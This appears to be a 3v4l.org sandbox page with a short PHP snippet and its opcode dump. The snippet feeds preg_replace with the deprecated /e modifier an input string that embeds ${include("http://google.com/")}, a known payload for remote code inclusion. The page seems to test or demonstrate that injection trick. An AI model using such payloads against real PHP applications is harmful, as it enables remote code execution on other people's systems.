3v4l.org

run code in 300+ PHP versions simultaneously
<?php $arg = '09{${include("http://google.com/")}}'; preg_replace("/([0-9]+)(.+)/e",'list($var, $var2) = array("$1", "$2")', $arg); var_dump($var, $var2);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2UFtX
function name:  (null)
number of ops:  11
compiled vars:  !0 = $arg, !1 = $var, !2 = $var2
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '09%7B%24%7Binclude%28%22http%3A%2F%2Fgoogle.com%2F%22%29%7D%7D'
    4     1        INIT_FCALL                                               'preg_replace'
          2        SEND_VAL                                                 '%2F%28%5B0-9%5D%2B%29%28.%2B%29%2Fe'
          3        SEND_VAL                                                 'list%28%24var%2C+%24var2%29+%3D+array%28%22%241%22%2C+%22%242%22%29'
          4        SEND_VAR                                                 !0
          5        DO_ICALL                                                 
    5     6        INIT_FCALL                                               'var_dump'
          7        SEND_VAR                                                 !1
          8        SEND_VAR                                                 !2
          9        DO_ICALL                                                 
         10      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
151.27 ms | 1385 KiB | 17 Q